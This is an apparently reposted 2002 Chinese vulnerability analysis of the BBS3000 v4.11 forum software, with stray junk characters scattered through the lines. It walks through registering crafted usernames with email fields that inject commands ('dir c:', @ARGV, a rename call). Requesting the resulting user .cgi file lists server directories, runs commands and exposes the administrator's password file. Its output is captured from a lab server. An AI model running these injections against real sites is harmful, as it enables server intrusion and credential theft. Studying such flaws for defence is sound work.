窥探YUZI的BBS3000社区安全性--1

YES东

窥探YUZI的BBS3000社区安全性--1
文章类型：漏洞分析 文章加入时间：2002年1月24日22:24
. E: R! @3 A9 f3 a5 E: H--------------------------------------------------------------------------------
* b2 b0 C4 |) P5 H1 B
+ U2 h+ q0 U. g: U& f窥探YUZI的BBS3000社区安全性
1 k# @( |; N& B) D2 r9 x—————————————————————————————————
badboy-club@21cn.com
部分漏洞提供者：
adver
x.z
这并不是什么权威教材，只适合菜鸟了解某些免费提供的论坛程序存在的不
) X5 K- m3 N9 F8 G+ k* e安全面，切莫用此方法在国内做尝试，如果你偏要如此，那么由此引起的一
切法律后果由你自己负责。
1 @$ k, n$ H, Y本文只允许在网络任意转载，但须保留文章的完整性，如把本文作为经济目
4 H6 I4 \& l- S' P0 t) C的使用，或者未经本人许可进行印刷、光盘杂志、等出版性质的行为，本人
将保留侵权控告的权利。
: ?7 \, m% }! }—————————————————————————————————
第一篇
6 X7 \9 j3 ~0 a" e' o****基本漏洞测试*****
3 `3 Y7 r) r' c' q: T$ x( u& W    YUZI的BBS3000被不少的国内个人站点和企业站点用来作为网友交流的论坛，
但不少用户很少去探测这论坛的安全性，使用者很大程度上信任作者，而实际上
这些免费的版本和汉化修改论坛，往往存在一些致命的漏洞，本文的目的在于揭
示该论坛不为人知的漏洞，让大家更好的使用这类论坛，并且保证自身资料的隐
" k1 H: i7 r; r* ~" @蔽和服务器的安全。
测试版本:bbs3000 v4.11
% y$ v  H; K! ^5 Y+ g4 m系统平台：win2k adv server=sp3 + iis 5.0  +ActivePerl 5.6.1.626
' a8 p! J. {3 q  P4 v+ C9 E# n4 S应用程序映射:perl.exe %s %s 动作：GET,HEAD,POST
        或者:perlIS.dll 动作：GET,HEAD,POST
) s+ w0 u: l9 E0 I! U1 P测试情况：
2 V& Y7 S5 p" P) O; h: l一、用户名为dir的漏洞
/ n8 w1 T9 S7 S' D1、采用应用程序映射:perl.exe %s %s应用程序映射
在站点建立一目录（或者虚拟目录）bbs3000,按论坛作者提供的说明书，默认安
0 \8 i( i6 N- w% b7 ^% c装BBS3000 v4.11版本，我们注册一用户名为dir,密码为system,信箱为
#badboy@badclub.org（#任意信箱都可以），然后我们在IE地址栏处输入：
& i% c/ X9 L5 S% [! V* @http://192.168.0.1/bbs3000/yhzl/dir.cgi
* W" e$ v* m9 O* [. R. }* n2 QF:\new\bbs3000\bbs3000 的目录
2002-01-16  19:26       <DIR>          .
3 R" d! ?# d# m; y7 ]' V2002-01-16  19:26       <DIR>          ..
' w9 U9 x6 Z) H2002-01-16  22:42               43,247 bbs.cgi
2002-01-16  22:47               50,934 cjyh.cgi
2002-01-16  22:43               38,551 bbs1.cgi
+ U4 _: m! H. a$ N# C2002-01-16  22:48                6,401 cookie.cgi
2002-01-16  22:42                2,138 affiche.cgi
5 O/ d2 [! k" R0 c/ |  Z2002-01-16  22:43               22,434 bbs2.cgi
（以下略）
              34 个文件        417,611 字节
; K* }/ s+ o  X9 Z& r7 O# V              15 个目录  1,830,944,768 可用字节
! D$ E* Y* N4 w' U9 t, H& V6 ]
2、采用应用程序映射:perlIS.dll应用程序映射
" ^  Y- U( ]) x得到的显示页面为：
7 x6 `- @  v7 P' B'F:\new\bbs3000\bbs3000\yhzl\dir.cgi' script produced no output
测试解释：在应用程序映射中，一个扩展名只能由一个程序去映射，在采用
perl.exe时，BBS3000存在查看网站目录和文件的漏洞，在采用perlIS.dll时，
则有暴露网站在服务器上的绝对地址的漏洞。
二、用户名为system的漏洞
+ `% T- a5 u. r7 A" B/ v# O1、采用应用程序映射:perl.exe %s %s应用程序映射
4 k4 Y" z& t' [( w6 T注册一用户名为system，密码为空格键（或者密码为system），信箱为
0 e6 ~1 C* n  B'dir c:'#@badclub.org，然后我们在IE地址栏内输入：
: ]' P6 g0 Z: Y0 ]/ c+ Uhttp://192.168.0.1/bbs3000/yhzl/system.cgi
返回的页面显示为：
C:\ 的目录
; g$ P7 r/ D( b; C2001-11-27  20:56                1,002 FRUNLOG.TXT
2001-11-27  20:49       <DIR>          WINNT
（以下略）
# X* u! L( |$ [5 I; w9 M) [* a              10 个文件         29,583 字节
               9 个目录    946,327,552 可用字节
当密码为其他时，则显示：
CGI Error
* X( y% U( Z- H) v0 _/ [9 CThe specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
syntax error at F:\new\bbs3000\bbs3000\yhzl\system.cgi line 1, near
"1 system"Execution of F:\new\bbs3000\bbs3000\yhzl\system.cgi
aborted due to compilation errors.
7 b0 I$ [( `' B- `我们还可以这样测试用户名为system的情况，密码仍然为空格键
& i1 l+ }5 E5 a8 Z# L  L! F（或者密码为system）但把信箱修改为＠ARGV##badboy@badclub.org，然后我
们在IE地址栏内输入：
) i8 b' P' Y3 R1 hhttp://192.168.0.1/bbs3000/yhzl/system.cgi?dir%20d:
返回的页面显示
2 Z0 G! F5 d- |$ s" m: \D:\ 的目录
: u: Y! U8 G1 q$ b& R( Q2001-01-18  23:23       <DIR>          tools
/ H1 _4 a8 U: r$ E. A. t- y3 s2001-11-27  21:18       <DIR>          98tools
% V1 Q* M" h1 P2001-04-08  13:08       <DIR>          W2Kreskit
. M6 y4 I% A3 T7 n2001-11-06  19:52       <DIR>          NOCDKEY-PROT
2001-12-01  21:32       <DIR>          WINNT
2001-12-01  21:39       <DIR>          Documents and Settings
2001-12-01  21:41       <DIR>          Program Files
+ Q8 E- ~$ h8 V2001-12-01  21:53       <DIR>          Inetpub
2002-01-16  19:17       <DIR>          pl
（以下省略部分内容）   
           12 个文件     15,068,818 字节
9 a- Q6 s7 V' Z6 F# l              15 个目录  2,371,317,760 可用字节
'0' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
& h* L7 C% G) Z: B: ~$ f2、采用应用程序映射:perlIS.dll应用程序映射
4 F. R/ r2 O4 B, o3 a用户名为system，密码为空格键（或者密码为system），信箱为'dir c:'#@badclub.org，
然后我们在IE地址栏内输入：
& u' I( `: `2 Y5 e/ K* thttp://192.168.0.1/bbs3000/yhzl/system.cgi
返回的页面显示为：
'F:\new\bbs3000\bbs3000\yhzl\system.cgi' script produced no output
6 D' Z+ n! J5 m8 o$ [把信箱修改为＠ARGV##badboy@badclub.org，然后我们在IE地址栏内输入：
8 G8 Y7 [0 S6 P. h! ~$ Uhttp://192.168.0.1/bbs3000/yhzl/system.cgi?dir%20d:
返回的页面显示
'F:\new\bbs3000\bbs3000\yhzl\system.cgi' script produced no output
# p/ p; X( P3 L' g! ~: I) h三、用户名为;字符的情况
8 b9 J0 B7 v( s& g1、采用应用程序映射:perlIS.dll应用程序映射
0 |8 c- L( q5 ^8 P- Q$ ~% `# s8 j注册一用户名为;字符，密码为1，信箱为rename "badboy.cgi","badboy.txt";#@badclub.org ，
（这里假设badboy为该论坛的社区区长，也就是该论坛最大权限的用户），然后我们
在IE地址栏内输入：
http://192.168.0.1/bbs3000/yhzl/;.cgi
7 G0 l2 ^# J( ?8 L( B1 t6 y返回的页面显示
'F:\new\bbs3000\bbs3000\yhzl\;.cgi' script produced no output
7 q+ j4 k9 p9 T# c& W嗯，怎么还是和上面的perl.dll例子一样啊？？后面的就是关键了，你再输入这样
的看看
% P( X: b. Q; Z9 G, Q0 D4 A1 Mhttp://192.168.0.1/bbs3000/yhzl/badboy.txt
返回的页面显示为
badpass badboy http://192.168.0.1 2002-01-16
* ~7 n6 ~+ N" ?4 a9 j- s2 R显示的内容前面就是密码、用户
天啊，事情怎么那么容易呀！！~_*
3 k/ W/ `$ b6 C# j经测试，用户名为system密码为一个空格键（或者为system)，信箱为
! E; n% B5 D3 \1 rrename "badboy.cgi","badboy.txt";#@badclub.org 的时候，步骤和上面一样，同样
( [0 E) ~- @+ I: N5 Y+ [5 ^/ E8 X可以获得相同的结果。
4 Y: Y) q0 Z) r; ?* k( F2、采用应用程序映射:perl.exe %s %s应用程序映射
* L9 ~% \7 t& o/ W+ ~4 g用户名为;字符，密码为1，信箱为rename "badboy.cgi","badboy.txt";#@badclub.org
2 I9 |3 ~1 v% d5 `- a, a在IE地址栏内输入：
- k$ Q$ Y2 Y3 \- q% a+ s6 vhttp://192.168.0.1/bbs3000/yhzl/;.cgi
返回的页面显示
CGI Error
- k& h) Z  y7 C7 Z2 y6 U9 gThe specified CGI application misbehaved by not returning a complete set of HTTP
- t' E4 Q# U( t( h" _, @; Wheaders. The headers it did return are: